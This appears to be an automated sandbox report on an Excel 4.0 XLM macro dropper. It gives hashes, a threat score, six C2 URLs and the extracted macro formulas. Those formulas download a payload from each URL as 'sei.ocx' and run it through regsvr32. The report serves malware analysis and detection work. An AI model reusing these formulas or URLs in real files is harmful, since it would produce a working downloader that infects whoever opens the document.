1a9ec4ffc06f99f704a62cd3697e4a96ad7dd5ff8b5b0405adbb00bd093d798a

General

Target

1a9ec4ffc06f99f704a62cd3697e4a96ad7dd5ff8b5b0405adbb00bd093d798a
Size

46KB
Sample

241120-txvz2stpdl
MD5

91c393c90ec0bffa3050c9ae9314c764
SHA1

1c608ddaefb821faa20017d18e495b796f659675
SHA256

1a9ec4ffc06f99f704a62cd3697e4a96ad7dd5ff8b5b0405adbb00bd093d798a
SHA512

2a65f625febb042b27588399267fb77a156d810de6fd167e5df3e97a50c1d356a6324112d5a3c2f13b83b4c8ba5a52bafdf4adf939d618d73b9a2c392f45e042
SSDEEP

768:EOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:EOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://gokcevizyon.com/sBaEb/

http://henrysfreshroast.com/fxNufTnf3ox/

http://sorathlions.com/tmp/z5mkAKCYsVW70w/

http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/

https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/

https://ewestern.com/k/vEQX/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://gokcevizyon.com/sBaEb/

xlm40.dropper

http://henrysfreshroast.com/fxNufTnf3ox/